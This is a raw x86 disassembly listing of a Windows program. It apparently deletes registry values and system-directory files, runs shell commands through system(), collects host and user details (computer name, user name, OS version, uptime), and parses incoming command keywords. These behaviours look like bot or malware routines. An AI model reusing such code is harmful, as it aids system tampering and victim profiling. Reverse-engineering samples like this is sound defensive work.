		push	0F003Fh
		push	0
		call	sub_13ABBE4
		push	eax
		push	80000002h
		call	esi ; RegOpenKeyExA
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	ecx, [esp+27Ch+var_244]
		push	13h
		push	ecx
		call	sub_13ABDB5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+258h+var_E4], 27h
		call	sub_13ABBE4
		mov	edx, [esp+258h+var_248]
		push	eax
		push	edx
		call	ebp ; RegDeleteValueA
		lea	ecx, [esp+260h+var_24C]
		mov	[esp+260h+var_EC], bl
		call	sub_13AB626
		mov	eax, [esp+260h+var_250]
		push	eax
		call	edi ; RegCloseKey
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	13h
		push	19h
		push	13h
		push	0Eh
		push	9
		lea	ecx, [esp+28Ch+var_250]
		push	17h
		push	ecx
		call	sub_13ABDB5
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+264h+var_F0], 28h
		call	sub_13ABBE4
		push	eax
		call	sub_13AB9FA
		add	esp, 4
		lea	ecx, [esp+264h+var_250]
		mov	[esp+264h+var_F0], bl
		call	sub_13AB626
		push	104h
		push	104h
		lea	ecx, [esp+26Ch+var_220]
		call	sub_13AC05D
		push	eax
		call	GetSystemDirectoryA	; GetSystemDirectoryA
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	13h
		push	19h
		push	13h
		push	0Eh
		push	9
		lea	edx, [esp+298h+var_25C]
		push	17h
		push	edx
		call	sub_13ABDB5
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+270h+var_FC], 29h
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+274h+var_22C]
		call	sub_13ABBE4
		push	eax
		lea	eax, [esp+278h+var_22C]
		push	offset dword_443684
		push	eax
		call	sub_13AB42D
		add	esp, 10h
		lea	ecx, [esp+270h+var_25C]
		mov	[esp+270h+var_FC], bl
		call	sub_13AB626
		lea	ecx, [esp+270h+var_22C]
		call	sub_13ABA81
		push	eax
		call	DeleteFileA	; DeleteFileA
		lea	ecx, [esp+274h+var_264]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+280h+var_1FC]
		call	sub_13ABBE4
		push	eax
		push	80000002h
		call	esi ; RegOpenKeyExA
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	4
		push	47h
		lea	edx, [esp+2BCh+var_274]
		push	4
		push	edx
		call	sub_13ABDB5
		add	esp, 3Ch
		mov	ecx, eax
		mov	[esp+288h+var_114], 2Ah
		call	sub_13ABBE4
		push	eax
		mov	eax, [esp+28Ch+var_278]
		push	eax
		call	ebp ; RegDeleteValueA
		lea	ecx, [esp+290h+var_27C]
		mov	[esp+290h+var_11C], bl
		call	sub_13AB626
		mov	ecx, [esp+290h+var_280]
		push	ecx
		call	edi ; RegCloseKey
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	0Ch
		push	7
		push	1
		push	5
		push	2
		lea	edx, [esp+2C0h+var_280]
		push	2
		push	edx
		call	sub_13ABDB5
		add	esp, 34h
		mov	ecx, eax
		mov	[esp+294h+var_120], 2Bh
		call	sub_13ABBE4
		push	eax
		call	sub_13AB9FA
		add	esp, 4
		lea	ecx, [esp+294h+var_280]
		mov	[esp+294h+var_120], bl
		call	sub_13AB626
		push	104h
		push	104h
		lea	ecx, [esp+29Ch+var_250]
		call	sub_13AC05D
		push	eax
		call	GetSystemDirectoryA	; GetSystemDirectoryA
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	0Ch
		push	7
		push	1
		push	5
		push	2
		lea	eax, [esp+2CCh+var_28C]
		push	2
		push	eax
		call	sub_13ABDB5
		add	esp, 34h
		mov	ecx, eax
		mov	[esp+2A0h+var_12C], 2Ch
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+2A4h+var_25C]
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+2A8h+var_25C]
		push	offset dword_443684
		push	ecx
		call	sub_13AB42D
		add	esp, 10h
		lea	ecx, [esp+2A0h+var_28C]
		mov	[esp+2A0h+var_12C], bl
		call	sub_13AB626
		lea	ecx, [esp+2A0h+var_25C]
		call	sub_13ABA81
		push	eax
		call	DeleteFileA	; DeleteFileA
		lea	edx, [esp+2A4h+var_294]
		lea	ecx, [esp+2A4h+var_22C]
		push	edx
		push	0F003Fh
		push	0
		call	sub_13ABBE4
		push	eax
		push	80000002h
		call	esi ; RegOpenKeyExA
		push	0
		push	0Eh
		push	0Fh
		push	27h
		push	0Bh
		push	13h
		push	1
		lea	eax, [esp+2D4h+var_2A4]
		push	2Eh
		push	eax
		call	sub_13ABDB5
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+2B8h+var_144], 2Dh
		call	sub_13ABBE4
		mov	ecx, [esp+2B8h+var_2A8]
		push	eax
		push	ecx
		call	ebp ; RegDeleteValueA
		lea	ecx, [esp+2C0h+var_2AC]
		mov	[esp+2C0h+var_14C], bl
		call	sub_13AB626
		mov	edx, [esp+2C0h+var_2B0]
		push	edx
		call	edi ; RegCloseKey
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	0Eh
		push	0Fh
		push	0Dh
		push	0Bh
		push	13h
		push	1
		lea	eax, [esp+2F0h+var_2B0]
		push	14h
		push	eax
		call	sub_13ABDB5
		add	esp, 34h
		mov	ecx, eax
		mov	[esp+2C4h+var_150], 2Eh
		call	sub_13ABBE4
		push	eax
		call	sub_13AB9FA
		add	esp, 4
		lea	ecx, [esp+2C4h+var_2B0]
		mov	[esp+2C4h+var_150], bl
		call	sub_13AB626
		push	104h
		push	104h
		lea	ecx, [esp+2CCh+var_280]
		call	sub_13AC05D
		push	eax
		call	GetSystemDirectoryA	; GetSystemDirectoryA
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	0Eh
		push	0Fh
		push	0Dh
		push	0Bh
		push	13h
		push	1
		lea	ecx, [esp+2FCh+var_2BC]
		push	14h
		push	ecx
		call	sub_13ABDB5
		add	esp, 34h
		mov	ecx, eax
		mov	[esp+2D0h+var_15C], 2Fh
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+2D4h+var_28C]
		call	sub_13ABBE4
		push	eax
		push	offset dword_443684
		lea	edx, [esp+2DCh+var_28C]
		push	edx
		call	sub_13AB42D
		add	esp, 10h
		lea	ecx, [esp+2D0h+var_2BC]
		mov	[esp+2D0h+var_15C], bl
		call	sub_13AB626
		lea	ecx, [esp+2D0h+var_28C]
		call	sub_13ABA81
		push	eax
		call	DeleteFileA	; DeleteFileA
		lea	eax, [esp+2D4h+var_2C4]
		lea	ecx, [esp+2D4h+var_25C]
		push	eax
		push	0F003Fh
		push	0
		call	sub_13ABBE4
		push	eax
		push	80000002h
		call	esi ; RegOpenKeyExA
		push	0
		push	12h
		push	5
		push	12h
		push	0Fh
		push	0Ch
		push	10h
		push	18h
		lea	ecx, [esp+308h+var_258]
		push	1Fh
		push	ecx
		call	sub_13ABDB5
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+2E8h+var_174], 30h
		call	sub_13ABBE4
		mov	edx, [esp+2E8h+var_2D8]
		push	eax
		push	edx
		call	ebp ; RegDeleteValueA
		lea	ecx, [esp+2F0h+var_260]
		mov	[esp+2F0h+var_17C], bl
		call	sub_13AB626
		mov	eax, [esp+2F0h+var_2E0]
		push	eax
		call	edi ; RegCloseKey
		mov	esi, system
		push	offset dword_443668
		call	esi ; system
		push	offset dword_44364C
		call	esi ; system
		push	offset dword_44362C
		call	esi ; system
		push	offset dword_443608
		call	esi ; system
		add	esp, 10h
		lea	ecx, [esp+2F4h+var_2B0]
		mov	byte ptr [esp+2F4h+var_180], 1Dh
		call	sub_13AB626
		lea	ecx, [esp+2F4h+var_27C]
		mov	[esp+2F4h+var_180], 0FFFFFFFFh
		call	sub_13AB626
		mov	al, 1
		jmp	loc_13AFA75
sub_13AF070	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 550h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B0AE0	proc near		; CODE XREF: sub_13ABD4Cj

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_10		= dword	ptr -10h
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	43856Fh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_28], ebx
		call	sub_13AB824
		mov	esi, [esp+38h+arg_4]
		mov	ebp, 1
		cmp	esi, ebx
		mov	[esp+38h+var_4], ebp
		jnz	short loc_13B0B31
		mov	esi, [esp+38h+arg_0]
		push	ebx
		mov	ecx, esi
		call	sub_13AC4F4
		mov	[esp+3Ch+var_2C], ebp
		jmp	loc_13B0BD7
; ---------------------------------------------------------------------------


loc_13B0B31:				; CODE XREF: sub_13B0AE0+3Aj
		call	GetTickCount	; GetTickCount
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		add	edx, ecx
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	edi, edx
		cmp	edi, esi
		jl	short loc_13B0BC3
		mov	eax, ecx
		mov	ecx, 15180h
		cdq
		idiv	ecx
		mov	esi, 0E10h
		mov	ecx, edx
		mov	eax, ecx
		cdq
		idiv	esi
		mov	eax, 88888889h
		mov	esi, edx
		imul	esi
		add	edx, esi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		push	edx
		push	edi
		lea	edx, [esp+44h+var_24]
		push	offset dword_44370C
		push	edx
		call	sub_13AB42D
		mov	esi, [esp+4Ch+arg_0]
		add	esp, 14h
		lea	eax, [esp+38h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_13AB8C9
		jmp	short loc_13B0BD3
; ---------------------------------------------------------------------------


loc_13B0BC3:				; CODE XREF: sub_13B0AE0+7Cj
		mov	esi, [esp+38h+arg_0]
		push	offset byte_446F80
		mov	ecx, esi
		call	sub_13ABC61


loc_13B0BD3:				; CODE XREF: sub_13B0AE0+E1j
		mov	[esp+3Ch+var_2C], ebp


loc_13B0BD7:				; CODE XREF: sub_13B0AE0+4Cj
		lea	ecx, [esp+3Ch+var_28]
		mov	[esp+3Ch+var_8], bl
		call	sub_13AB626
		mov	ecx, [esp+3Ch+var_10]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn	8
sub_13B0AE0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B0C50	proc near		; CODE XREF: sub_13ABA68j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	offset byte_446F80
		mov	ecx, esi
		mov	[esp+0Ch+var_4], 0
		call	sub_13ABC61
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_13B0C50	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B0C90	proc near		; CODE XREF: sub_13AC33Cj

var_198		= dword	ptr -198h
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_184		= dword	ptr -184h
var_180		= dword	ptr -180h
var_17C		= byte ptr -17Ch
var_170		= byte ptr -170h
var_160		= byte ptr -160h
var_158		= byte ptr -158h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= byte ptr -138h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_84		= byte ptr -84h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	4385B5h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18Ch
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+1A4h+var_18C]
		mov	[esp+1A4h+var_198], 0
		call	sub_13AB824
		mov	[esp+1A4h+var_4], 1
		call	GetTickCount	; GetTickCount
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	esi, edx
		lea	edx, [esp+190h+var_138]
		push	edx
		mov	dword ptr [esp+194h+var_17C], 10h
		shr	esi, 6
		mov	[esp+194h+var_180], 15h
		call	GlobalMemoryStatus	; GlobalMemoryStatus
		lea	eax, [esp+190h+var_118]
		mov	[esp+190h+var_118], 94h
		push	eax
		call	GetVersionExA	; GetVersionExA
		mov	eax, [esp+190h+var_114]
		cmp	eax, 4
		jnz	short loc_13B0D5E
		mov	eax, [esp+190h+var_110]
		test	eax, eax
		jnz	short loc_13B0D46
		mov	eax, [esp+190h+var_108]
		cmp	eax, 1
		jnz	short loc_13B0D36
		mov	ebp, offset dword_4437C8
		jmp	loc_13B0DD1
; ---------------------------------------------------------------------------


loc_13B0D36:				; CODE XREF: sub_13B0C90+9Aj
		cmp	eax, 2
		jnz	loc_13B0DCD
		mov	ebp, offset dword_4437C4
		jmp	short loc_13B0D9A
; ---------------------------------------------------------------------------


loc_13B0D46:				; CODE XREF: sub_13B0C90+8Ej
		cmp	eax, 0Ah
		jnz	short loc_13B0D52
		mov	ebp, offset dword_4437C0
		jmp	short loc_13B0D90
; ---------------------------------------------------------------------------


loc_13B0D52:				; CODE XREF: sub_13B0C90+B9j
		cmp	eax, 5Ah
		jnz	short loc_13B0D8B
		mov	ebp, offset dword_4437BC
		jmp	short loc_13B0D90
; ---------------------------------------------------------------------------


loc_13B0D5E:				; CODE XREF: sub_13B0C90+83j
		cmp	eax, 5
		jnz	short loc_13B0D8B
		mov	eax, [esp+190h+var_110]
		test	eax, eax
		jnz	short loc_13B0D75
		mov	ebp, offset dword_4437B4
		jmp	short loc_13B0D90
; ---------------------------------------------------------------------------


loc_13B0D75:				; CODE XREF: sub_13B0C90+DCj
		cmp	eax, 1
		jnz	short loc_13B0D81
		mov	ebp, offset dword_4437B0
		jmp	short loc_13B0D90
; ---------------------------------------------------------------------------


loc_13B0D81:				; CODE XREF: sub_13B0C90+E8j
		cmp	eax, 2
		mov	ebp, offset dword_4437A8
		jz	short loc_13B0D90


loc_13B0D8B:				; CODE XREF: sub_13B0C90+C5j
					; sub_13B0C90+D1j
		mov	ebp, offset dword_4437A4


loc_13B0D90:				; CODE XREF: sub_13B0C90+C0j
					; sub_13B0C90+CCj ...
		cmp	[esp+190h+var_108], 2
		jnz	short loc_13B0DD1


loc_13B0D9A:				; CODE XREF: sub_13B0C90+B4j
		mov	al, [esp+190h+var_104]
		test	al, al
		jz	short loc_13B0DD1
		lea	ecx, [esp+190h+var_104]
		lea	edx, [esp+190h+var_84]
		push	ecx
		push	ebp
		push	offset dword_443798
		push	edx
		call	wsprintfA	; wsprintfA
		add	esp, 10h
		lea	ebp, [esp+190h+var_84]
		jmp	short loc_13B0DD1
; ---------------------------------------------------------------------------


loc_13B0DCD:				; CODE XREF: sub_13B0C90+A9j
		mov	ebp, [esp+190h+var_184]


loc_13B0DD1:				; CODE XREF: sub_13B0C90+A1j
					; sub_13B0C90+108j ...
		lea	eax, [esp+190h+var_17C]
		lea	ecx, [esp+190h+var_160]
		push	eax
		push	ecx
		call	GetComputerNameA	; GetComputerNameA
		lea	edx, [esp+198h+var_188]
		lea	eax, [esp+198h+var_158]
		push	edx
		push	eax
		call	GetUserNameA	; GetUserNameA
		mov	eax, esi
		mov	ecx, 15180h
		cdq
		idiv	ecx
		lea	eax, [esp+1A0h+var_170]
		mov	edi, 0E10h
		mov	ecx, edx
		lea	edx, [esp+1A0h+var_160]
		push	edx
		push	eax
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, 88888889h
		mov	edi, edx
		imul	edi
		add	edx, edi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		mov	eax, 0C22E4507h
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		mov	ecx, [esp+1ACh+var_11C]
		push	edx
		imul	esi
		add	edx, esi
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, [esp+1B0h+var_124]
		push	edx
		mov	edx, [esp+1B4h+var_120]
		push	ecx
		mov	ecx, [esp+1B8h+var_140]
		push	edx
		push	eax
		mov	eax, offset byte_804021
		push	ebp
		mul	ecx
		sub	ecx, edx
		mov	eax, offset byte_804021
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		mov	ecx, [esp+1C8h+var_13C]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		call	sub_13ABBF3
		push	eax
		lea	ecx, [esp+1D0h+var_188]
		push	offset dword_443720
		push	ecx
		call	sub_13AB42D
		mov	esi, [esp+1D8h+arg_4]
		add	esp, 38h
		lea	edx, [esp+1A0h+var_188]
		push	edx
		mov	ecx, esi
		call	sub_13AB8C9
		mov	[esp+1A4h+var_198], 1
		lea	ecx, [esp+1A4h+var_18C]
		mov	byte ptr [esp+1A4h+var_4], 0
		call	sub_13AB626
		mov	ecx, [esp+1A4h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 198h
		retn	4
sub_13B0C90	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B0FA0	proc near		; CODE XREF: sub_13AB9DCj
		mov	eax, ecx
		mov	dword ptr [eax], offset	dword_43E008
		mov	dword ptr [eax+110h], 0
		retn
sub_13B0FA0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B0FD0	proc near		; CODE XREF: sub_13AC38Cj sub_13AC409j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13AB83D
		test	[esp+4+arg_0], 1
		jz	short loc_13B0FE8
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13B0FE8:				; CODE XREF: sub_13B0FD0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13B0FD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B1000	proc near		; CODE XREF: sub_13AB83Dj
		mov	dword ptr [ecx], offset	dword_43E008
		mov	ecx, [ecx+110h]
		test	ecx, ecx
		jz	short locret_13B1017
		push	ecx
		call	near ptr 13E0C02h
		pop	ecx

locret_13B1017:				; CODE XREF: sub_13B1000+Ej
		retn
sub_13B1000	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B1030	proc near		; CODE XREF: sub_13AB784j

var_47C		= byte ptr -47Ch
var_46C		= byte ptr -46Ch
var_458		= byte ptr -458h
var_454		= byte ptr -454h
var_44C		= byte ptr -44Ch
var_440		= byte ptr -440h
var_43C		= byte ptr -43Ch
var_40C		= dword	ptr -40Ch
var_408		= byte ptr -408h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	4385F1h
		push	eax
		mov	large fs:0, esp
		sub	esp, 448h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+110h]
		test	eax, eax
		jz	short loc_13B1061
		push	eax
		call	near ptr 13E0C02h
		add	esp, 4


loc_13B1061:				; CODE XREF: sub_13B1030+26j
		push	ebp
		push	esi
		mov	esi, [esp+460h+arg_0]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	near ptr 13E0C1Ah
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+110h], edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebx+110h]
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx+5], 0
		mov	byte ptr [ebx+9], 0
		mov	byte ptr [ebx+0Ah], 0
		mov	byte ptr [ebx+0Bh], 0
		repne scasb
		not	ecx
		push	ecx
		call	near ptr 13E0C1Ah
		mov	edi, [ebx+110h]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	ebp, strtok
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	offset dword_443600
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	edx
		and	ecx, 3
		rep movsb
		call	ebp ; strtok
		add	esp, 10h
		mov	[esp+464h+var_40C], eax
		lea	esi, [esp+464h+var_408]
		mov	edi, 0FFh


loc_13B1112:				; CODE XREF: sub_13B1030+F4j
		push	offset dword_443600
		push	0
		call	ebp ; strtok
		mov	[esi], eax
		add	esp, 8
		add	esi, 4
		dec	edi
		jnz	short loc_13B1112
		mov	eax, [esp+464h+var_40C]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_13B1318
		lea	ebp, [esp+464h+var_40C]


loc_13B1138:				; CODE XREF: sub_13B1030+2E0j
		mov	edi, [ebp+0]
		mov	esi, offset dword_4437EC
		mov	eax, edi


loc_13B1142:				; CODE XREF: sub_13B1030+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_13B1166
		test	cl, cl
		jz	short loc_13B1162
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_13B1166
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_13B1142


loc_13B1162:				; CODE XREF: sub_13B1030+11Cj
		xor	eax, eax
		jmp	short loc_13B116B
; ---------------------------------------------------------------------------


loc_13B1166:				; CODE XREF: sub_13B1030+118j
					; sub_13B1030+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_13B116B:				; CODE XREF: sub_13B1030+134j
		test	eax, eax
		jz	loc_13B1308
		mov	esi, offset dword_4437E0
		mov	eax, edi


loc_13B117A:				; CODE XREF: sub_13B1030+168j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_13B119E
		test	cl, cl
		jz	short loc_13B119A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_13B119E
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_13B117A


loc_13B119A:				; CODE XREF: sub_13B1030+154j
		xor	eax, eax
		jmp	short loc_13B11A3
; ---------------------------------------------------------------------------


loc_13B119E:				; CODE XREF: sub_13B1030+150j
					; sub_13B1030+15Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_13B11A3:				; CODE XREF: sub_13B1030+16Cj
		test	eax, eax
		jnz	short loc_13B11B0
		mov	byte ptr [ebx+9], 1
		jmp	loc_13B1308
; ---------------------------------------------------------------------------


loc_13B11B0:				; CODE XREF: sub_13B1030+175j
		mov	esi, offset dword_4437D4
		mov	eax, edi


loc_13B11B7:				; CODE XREF: sub_13B1030+1A5j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_13B11DB
		test	cl, cl
		jz	short loc_13B11D7
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_13B11DB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_13B11B7


loc_13B11D7:				; CODE XREF: sub_13B1030+191j
		xor	eax, eax
		jmp	short loc_13B11E0
; ---------------------------------------------------------------------------


loc_13B11DB:				; CODE XREF: sub_13B1030+18Dj
					; sub_13B1030+19Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_13B11E0:				; CODE XREF: sub_13B1030+1A9j
		test	eax, eax
		jnz	short loc_13B11ED
		mov	byte ptr [ebx+0Ah], 1
		jmp	loc_13B1308
; ---------------------------------------------------------------------------


loc_13B11ED:				; CODE XREF: sub_13B1030+1B2j
		mov	esi, offset dword_4437CC
		mov	eax, edi


loc_13B11F4:				; CODE XREF: sub_13B1030+1E2j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_13B1218
		test	cl, cl
		jz	short loc_13B1214
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_13B1218
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_13B11F4


loc_13B1214:				; CODE XREF: sub_13B1030+1CEj
		xor	eax, eax
		jmp	short loc_13B121D
; ---------------------------------------------------------------------------


loc_13B1218:				; CODE XREF: sub_13B1030+1CAj
					; sub_13B1030+1D8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_13B121D:				; CODE XREF: sub_13B1030+1E6j
		test	eax, eax
		jnz	loc_13B1308
		lea	ecx, [esp+464h+var_454]
		call	sub_13AB824
		mov	eax, [esp+464h+arg_0]
		push	offset dword_4437CC
		push	eax
		mov	[esp+46Ch+var_4], 0
		call	strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_13B12F4
		push	eax
		lea	ecx, [esp+468h+var_454]
		call	sub_13AB9D7
		push	1
		push	offset dword_443600
		lea	ecx, [esp+470h+var_440]
		push	1
		push	ecx
		lea	ecx, [esp+478h+var_458]
		call	sub_13AB5EA
		push	offset byte_446F80
		mov	ecx, eax
		mov	[esp+47Ch+var_18], 1
		call	sub_13AB6EE
		lea	ecx, [esp+47Ch+var_454]
		mov	esi, eax
		mov	[esp+47Ch+var_1C], 0
		call	sub_13AB626
		test	esi, esi
		jz	short loc_13B12F4
		push	1
		push	offset dword_443600
		lea	edx, [esp+484h+var_43C]
		push	1
		push	edx
		lea	ecx, [esp+48Ch+var_46C]
		mov	byte ptr [ebx+0Bh], 1
		call	sub_13AB5EA
		push	104h
		mov	ecx, eax
		mov	byte ptr [esp+490h+var_2C], 2
		call	sub_13ABA81
		push	eax
		lea	eax, [ebx+0Ch]
		push	eax
		call	strncpy	; strncpy
		add	esp, 0Ch
		lea	ecx, [esp+48Ch+var_44C]
		mov	byte ptr [esp+48Ch+var_2C], 0
		call	sub_13AB626
		add	ebp, 4


loc_13B12F4:				; CODE XREF: sub_13B1030+221j
					; sub_13B1030+271j
		lea	ecx, [esp+48Ch+var_47C]
		mov	[esp+48Ch+var_2C], 0FFFFFFFFh
		call	sub_13AB626


loc_13B1308:				; CODE XREF: sub_13B1030+13Dj
					; sub_13B1030+17Bj ...
		mov	eax, [ebp+4]
		add	ebp, 4
		test	eax, eax
		jnz	loc_13B1138
		xor	ecx, ecx


loc_13B1318:				; CODE XREF: sub_13B1030+FEj
		mov	al, [ebx+4]
		pop	edi
		pop	esi
		pop	ebp
		test	al, al
		jnz	short loc_13B1325
		mov	[ebx+5], ecx


loc_13B1325:				; CODE XREF: sub_13B1030+2F0j
		cmp	[ebx+5], ecx
		jnz	short loc_13B1335
		test	al, al
		jz	short loc_13B1335
		mov	dword ptr [ebx+5], 0Ah


loc_13B1335:				; CODE XREF: sub_13B1030+2F8j
					; sub_13B1030+2FCj
		mov	[ebx+5], ecx
		mov	ecx, [esp+480h+var_34]
		mov	byte ptr [ebx+4], 0
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 454h
		retn	4
sub_13B1030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 0D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B1430	proc near		; CODE XREF: sub_13AC49Fj

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43861Bh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_13AB5B3
		lea	ecx, [esi+4]
		call	sub_13ABB49
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+32h]
		push	eax
		mov	[esp+1Ch+var_4], 0
		call	sub_13AB964
		mov	ecx, [esp+1Ch+var_10]
		mov	dword ptr [esi], offset	dword_43E00C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
sub_13B1430	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B14B0	proc near		; CODE XREF: sub_13AB991j

arg_0		= dword	ptr  4
